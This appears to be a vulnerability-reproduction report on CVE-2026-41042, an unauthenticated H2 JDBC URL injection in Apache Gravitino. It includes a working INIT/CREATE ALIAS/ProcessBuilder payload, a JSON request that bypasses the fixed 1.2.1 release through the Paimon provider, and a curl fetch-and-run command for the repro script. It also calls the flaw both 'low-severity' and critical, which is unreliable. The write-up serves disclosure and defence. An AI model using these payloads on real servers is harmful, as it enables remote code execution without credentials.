CVE-2026-41042: Verified Repro With Script Download
CVE-2026-41042: Apache Gravitino unauthenticated H2 JDBC URL injection via testConnection API
CVE-2026-41042 is verified against apache/gravitino · github. Affected versions: Apache Gravitino before 1.2.1. Fixed in 1.2.1. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00276.
What Is CVE-2026-41042?
CVE-2026-41042 is a low-severity vulnerability in Apache Gravitino before 1.2.1 in which an unauthenticated caller can supply a malicious H2 JDBC URL through the testConnection API (or catalog creation) that executes arbitrary Java code on the server via H2's INIT parameter. Pruva reproduced it (reproduction REPRO-2026-00276).
CVE-2026-41042 Severity & CVSS Score
CVE-2026-41042 is rated critical severity, with a CVSS base score of 9.1 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected apache/gravitino Versions
apache/gravitino · github versions Apache Gravitino before 1.2.1 are affected.
How to Reproduce CVE-2026-41042
pruva-verify REPRO-2026-00276 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00276/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-41042
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
malicious H2 JDBC URL (jdbc:h2:mem:...;INIT=CREATE ALIAS ... ProcessBuilder ...) supplied unauthenticated via testConnection API catalog properties
- POST /api/metalakes/{metalake}/catalogs/testConnection
- CatalogManager.testConnection
- BaseCatalog.ops()
- JdbcCatalogOperations.initialize
- DataSourceUtils.createDataSource
- H2 driver opens connection and runs INIT
- CREATE ALIAS compiles+executes Java
- ProcessBuilder runs OS command
reproduction_steps.sh Bypass of the CVE-2026-41042 fix: the same H2 INIT/CREATE ALIAS RCE is reachable on the fixed Gravitino 1.2.1 via the lakehouse-paimon catalog provider with catalog-backend=jdbc. Paimon opens the JDBC connection through its own JdbcCatalog (DriverManager.getConnection(uri)) and never calls the patched DataSourceUtils.…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-41042
Apache Gravitino (before 1.2.1) exposes an unauthenticated REST endpoint
POST /api/metalakes/{metalake}/catalogs/testConnection that lets a caller
supply an arbitrary JDBC URL for a catalog connection test. Because no
validation rejected H2 JDBC URLs or the H2 driver class, an attacker could
supply a malicious jdbc:h2:...;INIT=... URL. H2's INIT connection
parameter runs arbitrary SQL when the database is first opened, and H2's
CREATE ALIAS ... AS '<java source>' compiles and executes arbitrary Java
code inside the Gravitino server JVM. By combining CREATE ALIAS with
Runtime/ProcessBuilder calls, an unauthenticated remote caller achieves
arbitrary operating-system command execution on the server.
- Package/component affected:
org.apache.gravitino:gravitino-catalog-jdbc-common(DataSourceUtils.createDataSource), reached through thetestConnectionREST endpoint and the JDBC catalog operations (JdbcCatalogOperations.initialize). - Affected versions: Apache Gravitino before 1.2.1 (confirmed on the
official
1.2.0binary distribution; H21.4.200is bundled). - Risk level / consequences: Remote code execution. The default server
configuration uses the
SimpleAuthenticator(accepts anonymous requests) and hasgravitino.authorization.enable = false, so the endpoint is reachable without any credentials. The H2 driver is always on the server classpath (it is the default entity-store backend) and is treated as a "shared" class by the catalogIsolatedClassLoader, so attacker-supplied H2 URLs resolve to the bundled driver even for non-H2 catalog providers.
Impact Parity
- Disclosed/claimed maximum impact: Remote code execution —
"executes arbitrary Java code on the server via H2's INIT parameter",
expected impact
code_execution. - Reproduced impact from this run: Arbitrary OS command execution
confirmed end-to-end through the unauthenticated REST API. The malicious
testConnectioncall returned HTTP 200 /{"code":0}and a marker file containing the output of theidcommand (uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)) was written by aProcessBuilderstarted from H2-compiled Java code running in the server JVM. - Parity:
full. - Not demonstrated: N/A — the full code-execution chain was demonstrated.
Root Cause
DataSourceUtils.createDataSource(JdbcConfig) is the single entry point for
all user-facing catalog JDBC connections. In the vulnerable version it
performed no allow-listing of JDBC drivers/URLs: it passed the caller-
controlled jdbc-url and jdbc-driver straight into a DBCP
BasicDataSource. The shared validator JdbcUrlUtils.validateJdbcConfig
only inspects MySQL/MariaDB/PostgreSQL URLs for unsafe parameters and
intentionally does not touch H2 (H2 is the legitimate embedded
entity-store backend). Consequently an H2 URL reached the driver untouched.
The call chain triggered by testConnection is:
CatalogOperations.testConnection (REST, @Path "testConnection")
-> CatalogManager.testConnection
-> CatalogWrapper.doWithCatalogOps
-> BaseCatalog.ops() (lazy initialize)
-> JdbcCatalogOperations.initialize(conf, ...)
-> DataSourceUtils.createDataSource(jdbcConfig) <-- vulnerable
-> BasicDataSource (url=jdbc:h2:mem:...;INIT=..., driver=org.h2.Driver)
When the pool opens its first connection (during
JdbcCatalogOperations.testConnection -> databaseOperation.listDatabases()),
H2 processes the INIT parameter. The payload
INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(...).start().waitFor(); ... }'\;CALL EXEC()
compiles the Java source via the JDK compiler and invokes it, executing the
attacker's OS command inside the server process.
Fix commit: 5daabcd0e8ddc96e25bd6c6ce7b153cdb311c3f2
("[MINOR] fix(catalog): block H2 JDBC URL and driver in catalog datasource
creation (#10801)"), cherry-picked to the 1.2 release branch as
84d3de9c7 and shipped in Gravitino 1.2.1. The fix adds a case-insensitive
block in DataSourceUtils.createDataSource() that rejects any URL whose
decoded form starts with jdbc:h2 and any driver class starting with
org.h2., throwing GravitinoRuntimeException before the datasource is
created.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained, idempotent, run twice consecutively — both runs pass with exit 0). - What it does:
- Installs OpenJDK 17 if needed.
- Downloads/reuses the official Apache Gravitino binary distributions
gravitino-1.2.0-bin.tar.gz(vulnerable) andgravitino-1.2.1-bin.tar.gz(fixed) from the GitHub release CDN (fallback: Apache archive). - For each version: extracts a clean copy, disables auxiliary services,
starts the real
gravitino.shserver, waits for the/api/versionhealthcheck, creates a metalake, and sends an unauthenticatedPOST /api/metalakes/test_ml/catalogs/testConnectionwithprovider=jdbc-postgresql,jdbc-driver=org.h2.Driver, and a maliciousjdbc-urlwhoseINITrunsCREATE ALIAS+ProcessBuilderto executeidand write its output to a marker file. Two attempts are made per version (each attempt uses a fresh H2 in-memory DB name because H2 only runsINITwhen a database is first created). - Captures per-attempt request/response logs, server logs, version JSON,
and the RCE marker file under
bundle/logs/. - Writes
bundle/repro/runtime_manifest.json.
- Expected evidence:
- Vulnerable 1.2.0:
testConnectionreturns HTTP 200{"code":0}and the marker file is created containingidoutput → RCE. - Fixed 1.2.1:
testConnectionreturns HTTP 500"H2 JDBC URL is not allowed in catalog configuration"(thrown atDataSourceUtils.createDataSource:54) and no marker file is created.
- Vulnerable 1.2.0:
Evidence
bundle/logs/reproduction_steps.log— orchestrator log with verdict.bundle/logs/vuln_version.json—1.2.0, gitCommit1c1665f0....bundle/logs/fixed_version.json—1.2.1, gitCommite88bffcfc....bundle/logs/vuln_attempt_1.log/vuln_attempt_2.log—testConnection_status: 200,testConnection_body: {"code":0},marker_exists: True,marker_content: uid=1000(vscode) ....bundle/logs/rce_marker_vuln_latest.txt— the file written by the attacker's OS command inside the server JVM.bundle/logs/fixed_attempt_1.log/fixed_attempt_2.log—testConnection_status: 500, message"H2 JDBC URL is not allowed in catalog configuration", stack atDataSourceUtils.createDataSource(DataSourceUtils.java:54),marker_exists: False.bundle/logs/vuln_server.log/fixed_server.log— server-side logs.bundle/repro/runtime_manifest.json— runtime evidence manifest.
Key excerpts:
# Vulnerable 1.2.0 (unauthenticated)
vuln_a1 testConnection_status: 200
vuln_a1 testConnection_body: {"code":0}
vuln_a1 marker_exists: True
vuln_a1 marker_content: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
# Fixed 1.2.1 (unauthenticated)
fixed_a1 testConnection_status: 500
fixed_a1 testConnection_body: {"code":1002,"type":"RuntimeException",
"message":"H2 JDBC URL is not allowed in catalog configuration",
"stack":["...DataSourceUtils.createDataSource(DataSourceUtils.java:54)",
"...JdbcCatalogOperations.initialize(JdbcCatalogOperations.java:175)",...]}
fixed_a1 marker_exists: False
Environment: OpenJDK 17.0.19, official Apache Gravitino binary tarballs, H2 1.4.200 (bundled), Jetty 9, commons-dbcp2 2.11.0, default server config (SimpleAuthenticator, authorization disabled, H2 entity-store backend).
Recommendations / Next Steps
- Upgrade to Apache Gravitino 1.2.1 or later, which blocks H2 JDBC URLs
and the
org.h2.driver class inDataSourceUtils.createDataSource(). - Consider a positive allow-list of permitted JDBC URL schemes/drivers in
catalog configuration rather than only blocking H2, and apply the same
check at catalog creation time (not only
testConnection). - In production deployments, enable authentication/authorization and use
MySQL (not H2) for the entity store; restrict network exposure of the
testConnectionendpoint. - Add regression tests that assert a
jdbc:h2:...;INIT=...URL andorg.h2.Driverare rejected through the full RESTtestConnectionpath.
Additional Notes
- Idempotency: confirmed — the script was run twice consecutively; both runs exited 0 with identical verdicts (vulnerable RCE confirmed on both attempts, fixed blocked on both attempts). Each run extracts into fresh directories and uses a unique H2 in-memory DB name per attempt.
- Payload detail: every
;inside the H2INITvalue (including Java statement terminators) must be escaped as\;, because H2 uses;as the URL parameter separator; unescaped;truncates the URL and the INIT never runs. Thejdbc-databaseproperty must also be supplied for thejdbc-postgresqlprovider (PostgreSqlSchemaOperations.initializereads it before the test connection is opened). - The exploit does not require the catalog provider to be H2-aware: the H2
driver is a "shared" class (
!isCatalogClass) so the catalogIsolatedClassLoaderdelegatesorg.h2.Driverto the server classloader, which always has it.
Variant Analysis & Alternative Triggers for CVE-2026-41042
A true bypass of the CVE-2026-41042 fix was found and confirmed at runtime on
the fixed Apache Gravitino 1.2.1 server (build commit
e88bffcfc31b7a656c960245b63b1e4c4901b8ee). The official fix (commit
5daabcd0 / cherry-pick 84d3de9c7, shipped in 1.2.1) blocks H2 JDBC URLs and
the org.h2. driver class only inside
org.apache.gravitino.catalog.jdbc.utils.DataSourceUtils.createDataSource() —
the sink used by the relational JDBC catalogs. The bypass reaches the exact
same H2 INIT → CREATE ALIAS → compiled Java → ProcessBuilder RCE primitive
through a different catalog provider, lakehouse-paimon with
catalog-backend=jdbc, whose metastore backend opens the JDBC connection via
Paimon's own org.apache.paimon.jdbc.JdbcCatalog
(DriverManager.getConnection(uri, ...)). That code path never calls
DataSourceUtils.createDataSource(), so the H2 block is never evaluated. The H2
driver stays reachable because IsolatedClassLoader.isSharedClass() delegates
every non-Gravitino-catalog class (including org.h2.Driver) to the server
classloader, which bundles libs/h2-1.4.200.jar. An unauthenticated caller
(default SimpleAuthenticator, authorization disabled) supplies
uri=jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder("id > marker")...'
via POST /api/metalakes/{ml}/catalogs/testConnection and obtains arbitrary OS
command execution inside the server JVM. The attacker's id output was written
to a marker file from within the fixed server, on two consecutive attempts, in
two independent script runs.
Fix Coverage / Assumptions
- Invariant the fix relies on: "DataSourceUtils.createDataSource() is the entry point for all user-facing catalog JDBC connections" (quoted from the PR description). If true, blocking H2 there protects every user-reachable JDBC connection.
- Code paths the fix explicitly covers: relational JDBC catalogs that go
through
JdbcCatalogOperations.initialize()→DataSourceUtils.createDataSource()— i.e.jdbc-mysql,jdbc-postgresql,jdbc-doris,jdbc-starrocks. The check is applied for both catalog creation andtestConnection(both callops()/initialize()). The check is robust against URL-encoding (recursiveDecode, up to 5 rounds) and case (toLowerCase()); an H2 URL whose original form is accepted by H2 must, after lowercasing+decoding, start withjdbc:h2, so the URL check is sound for the relational path. - What the fix does NOT cover: any catalog provider that opens a JDBC
connection from user-supplied properties without going through
DataSourceUtils.lakehouse-paimon(catalog-backend=jdbc) is one such provider: it hands the rawurito Paimon'sCatalogFactory.createCatalog→JdbcCatalog, which callsDriverManager.getConnection(uri)directly.
Variant / Alternate Trigger
Entry point (unauthenticated):
POST /api/metalakes/{metalake}/catalogs/testConnection with
{
"name": "evil_paimon_catalog",
"type": "RELATIONAL",
"provider": "lakehouse-paimon",
"comment": "test",
"properties": {
"catalog-backend": "jdbc",
"uri": "jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(new String[]{\"sh\",\"-c\",\"id > <MARKER>\"}).start().waitFor(); return \"ok\"; }';CALL EXEC()",
"jdbc-driver": "org.h2.Driver",
"jdbc-user": "test",
"jdbc-password": "test",
"warehouse": "/tmp/paimon_wh"
}
}
(; inside the H2 INIT value is escaped as \; per H2 URL syntax.) No
Authorization header is sent — the default SimpleAuthenticator accepts
anonymous requests and gravitino.authorization.enable=false.
Code path (files / functions):
catalogs/catalog-lakehouse-paimon/.../PaimonCatalogOperations.java—initialize()(~line 120) buildsnew PaimonCatalogOps(new PaimonConfig(...));testConnection()(~line 150) callspaimonCatalogOps.listDatabases().catalogs/catalog-lakehouse-paimon/.../ops/PaimonCatalogOps.java— constructor (~line 48) callsCatalogUtils.loadCatalogBackend(paimonConfig).catalogs/catalog-lakehouse-paimon/.../utils/CatalogUtils.java—loadCatalogBackend(~line 59) →loadCatalogBackendWithSimpleAuth(~line 115) →checkPaimonConfigdoesClass.forName(driverClassName)(~line 143) formetastore=jdbc, thenCatalogFactory.createCatalog(catalogContext)(Paimon).org.apache.paimon.jdbc.JdbcCatalogFactory.create→org.apache.paimon.jdbc.JdbcCatalog.<init>(JdbcCatalog.java:98) →DriverManager.getConnection(uri, user, pw)→ H2INITfires.
The server-side stack captured on the fixed 1.2.1 server (from
bundle/logs/vuln_variant/paimon_fixed_server.log) confirms exactly this chain
and shows the DataSourceUtils H2-block messages never appear:
java.lang.RuntimeException: Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...'
at org.apache.paimon.jdbc.JdbcCatalog.<init>(JdbcCatalog.java:98)
at org.apache.paimon.jdbc.JdbcCatalogFactory.create(JdbcCatalogFactory.java:42)
at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackendWithSimpleAuth(CatalogUtils.java:115)
at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackend(CatalogUtils.java:59)
at org.apache.gravitino.catalog.lakehouse.paimon.ops.PaimonCatalogOps.<init>(PaimonCatalogOps.java:48)
at org.apache.gravitino.catalog.lakehouse.paimon.PaimonCatalogOperations.initialize(PaimonCatalogOperations.java:120)
grep -c "H2 JDBC URL is not allowed\|H2 JDBC driver is not allowed" on the
fixed server log = 0.
This is a bypass (reproduces on the patched/fixed ref), not merely an alternate trigger on the vulnerable ref: the same payload achieves RCE on 1.2.1 because the fix does not cover this path.
- Package/component affected: the H2
INIT/CREATE ALIASRCE primitive, reached viacatalog-lakehouse-paimon's JDBC metastore backend (PaimonCatalogOperations/PaimonCatalogOps/CatalogUtils→ PaimonJdbcCatalog). The shared enabler iscore/.../utils/IsolatedClassLoader(treatsorg.h2.*as a shared/server class) plus the bundledlibs/h2-1.4.200.jar. - Affected versions (as tested): confirmed on the official binary
distributions 1.2.0 (build
1c1665f05e24f69833bcedfb0e6dc6b477f95dc4) and 1.2.1 (builde88bffcfc31b7a656c960245b63b1e4c4901b8ee). 1.2.1 is the version that contains the fix, so the 1.2.1 result constitutes the bypass. - Risk level / consequences: Remote code execution (arbitrary OS command execution) by an unauthenticated remote caller, in the default deployment (SimpleAuthenticator, authorization disabled, H2 entity-store backend). Same severity class and same primitive as the original CVE.
Impact Parity
- Disclosed/claimed maximum impact (parent CVE): arbitrary Java code
execution on the server via H2's
INITparameter → code_execution. - Reproduced impact from this variant run: arbitrary OS command execution
(
id) inside the fixed 1.2.1 server JVM, proven by a marker file written by the attacker'sProcessBuildercontaining the realuid=...output. - Parity: full. Same primitive (H2 INIT → CREATE ALIAS → Java → OS command), same unauthenticated trust boundary, same default-config reachability. The only difference is the catalog-provider entry point.
- Not demonstrated here: persistence / post-exploitation; a reverse shell
(trivially substituted for
idvia the sameProcessBuilderprimitive, but out of scope for a proof).
Root Cause
The original bug: Gravitino passes an unauthenticated, user-controlled JDBC URL
to a JDBC driver at connection time, and the bundled H2 driver executes
arbitrary code from URL parameters (INIT → CREATE ALIAS AS '<java>').
The fix assumed DataSourceUtils.createDataSource() is the only such
connection point and blocked H2 there. That assumption is wrong: catalog
providers may open JDBC connections through their own third-party libraries.
Paimon's JdbcCatalog is one example — it receives the raw uri and calls
DriverManager.getConnection(uri) itself. Because the H2 driver is a shared
class (IsolatedClassLoader.isSharedClass → !isCatalogClass → delegated to
the server classloader, which has h2-1.4.200.jar), Class.forName("org.h2.Driver")
from the Paimon provider succeeds and H2 accepts the jdbc:h2:... URL, so
INIT fires and the identical RCE executes — on the patched 1.2.1 server.
Fix commit (main): 5daabcd0e8ddc96e25bd6c6ce7b153cdb311c3f2; cherry-pick
to branch-1.2: 84d3de9c7c436fbdac72b5f7a1163e65e0580fe2 (shipped in 1.2.1).
Reproduction Steps
- Script:
bundle/vuln_variant/reproduction_steps.sh(self-contained, idempotent). - What it does:
- Reuses/downloads the official
gravitino-1.2.0-bin.tar.gz(vulnerable) andgravitino-1.2.1-bin.tar.gz(fixed) binary distributions. - For each version: extracts a clean copy, disables auxiliary services,
starts the real
gravitino.shserver, waits for the/api/versionhealthcheck, creates a metalake, and sends an unauthenticatedPOST /api/metalakes/test_ml/catalogs/testConnectionwithprovider=lakehouse-paimon,catalog-backend=jdbc,jdbc-driver=org.h2.Driver, and a maliciousuriwhose H2INITrunsCREATE ALIAS+ProcessBuilderto executeidand write its output to a marker file. Two attempts per version (each uses a fresh H2 in-memory DB name, since H2 runsINITonly when a DB is first created). - Captures per-attempt request/response logs, server logs, version JSON, and
the RCE marker files under
bundle/logs/vuln_variant/.
- Reuses/downloads the official
- Expected evidence:
- Vulnerable 1.2.0: marker created (
uid=...) → RCE (same primitive, additional entry point). - Fixed 1.2.1: marker created (
uid=...) → BYPASS. The HTTP response is 500 with"Failed to connect: jdbc:h2:mem:...;INIT=CREATE ALIAS ..."(Paimon wrapping the H2 connection), and crucially the response/server log do not contain"H2 JDBC URL is not allowed"(theDataSourceUtilsblock), proving the request never hit the patched sink.
- Vulnerable 1.2.0: marker created (
Evidence
bundle/logs/vuln_variant/variant_repro.log— orchestrator log + verdict (both runs).bundle/logs/vuln_variant/vuln_version.json—1.2.0, gitCommit1c1665f05e24f69833bcedfb0e6dc6b477f95dc4.bundle/logs/vuln_variant/fixed_version.json—1.2.1, gitCommite88bffcfc31b7a656c960245b63b1e4c4901b8ee.bundle/logs/vuln_variant/paimon_vuln_attempt_{1,2}.log—marker_exists: True,marker_content: uid=1000(vscode) ...,datasourceutils_h2_block_fired: False.bundle/logs/vuln_variant/paimon_fixed_attempt_{1,2}.log—marker_exists: True,marker_content: uid=1000(vscode) ...,datasourceutils_h2_block_fired: False(the bypass).bundle/logs/vuln_variant/rce_marker_paimon_fixed_latest.txt— the file written by the attacker's OS command inside the fixed server JVM:uid=1000(vscode) gid=1000(vscode) groups=1000(vscode).bundle/logs/vuln_variant/paimon_fixed_server.log— server-side stack showingPaimonCatalogOperations.initialize→PaimonCatalogOps→CatalogUtils→JdbcCatalogFactory.create→JdbcCatalog.<init>, with zeroDataSourceUtilsH2-block messages (excerpt saved tobundle/logs/vuln_variant/fixed_bypass_stack_excerpt.txt).bundle/logs/vuln_variant/variant_run_stdout.log/variant_run_stdout_2.log— two full script runs (both exit 0).
Key excerpts (fixed 1.2.1, unauthenticated):
fixed_paimon_a1 testConnection_status: 500
fixed_paimon_a1 testConnection_body: {"code":1002,"type":"RuntimeException",
"message":"Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder...id > ...marker...'..."}
fixed_paimon_a1 marker_exists: True
fixed_paimon_a1 marker_content: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
fixed_paimon_a1 datasourceutils_h2_block_fired: False
Environment: OpenJDK 17.0.19, official Apache Gravitino binary tarballs, H2
1.4.200 (bundled), Paimon JdbcCatalog (bundled in catalogs/lakehouse-paimon),
Jetty 9, default server config (SimpleAuthenticator, authorization disabled,
H2 entity-store backend).
Recommendations / Next Steps
- Move the H2/JDBC-URL allow-list out of
DataSourceUtils.createDataSource()into the sharedJdbcUrlUtils.validateJdbcConfig()(gated so the internal entity store can still use H2), and make every provider that opens a JDBC connection from user-supplied properties call it. At minimum, add the check to Paimon'sCatalogUtils.checkPaimonConfig/loadCatalogBackendWithSimpleAuth(rejecturidecoded+lowercased starting withjdbc:h2andjdbc-driverstarting withorg.h2.forcatalog-backend=jdbc). - Apply the same validation at the
lakehouse-paimonPropertiesMetadata/transformPropertieslayer so it covers bothtestConnectionand catalog creation. - Audit other providers that open JDBC connections outside
DataSourceUtils(e.g. IcebergJdbcCatalogif exposed,JdbcPartitionStatisticStorageFactory) and route them through the same validator; prefer a positive allow-list of JDBC URL schemes/drivers rather than only blocking H2. - Reconsider whether
org.h2.*should be a shared class for catalog classloaders (the URL/driver allow-list is the more general fix, but un-sharing H2 would also remove the primitive).
Additional Notes
- Idempotency: confirmed —
reproduction_steps.shwas run twice consecutively; both runs exited 0 with identical verdicts (vulnerable RCE on both attempts, fixed bypass on both attempts). Each run extracts into fresh directories and uses a unique H2 in-memory DB name per attempt. - Payload detail: every
;inside the H2INITvalue (Java statement terminators and theCREATE ALIAS/CALLseparator) is escaped as\;; the Java source is wrapped in single quotes (H2 requirement). The500/ "Failed to connect" response is expected and does not negate the RCE — H2 runsINIT(compiling and invoking the alias) during the connection open, before Paimon's later table-initialisation SQL raises; the marker is written regardless. - Why this is a valid variant/bypass and not a relabelled duplicate: the
entry point (catalog provider + properties) is materially different
(
lakehouse-paimon/catalog-backend=jdbc/urivsjdbc-postgresql/jdbc-url), the connection sink is different code (PaimonJdbcCatalogvs GravitinoDataSourceUtils), and the fix that the parent CVE shipped does not cover it — demonstrated by reproduction on the fixed ref.
CVE-2026-41042 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-41042
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-41042
Upgrade apache/gravitino · github to 1.2.1 or later.
FAQ: CVE-2026-41042
How does the CVE-2026-41042 exploit work?
Which Apache Gravitino versions are affected by CVE-2026-41042, and where is it fixed?
How severe is CVE-2026-41042?
How can I reproduce CVE-2026-41042?
References for CVE-2026-41042
Authoritative sources for CVE-2026-41042 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.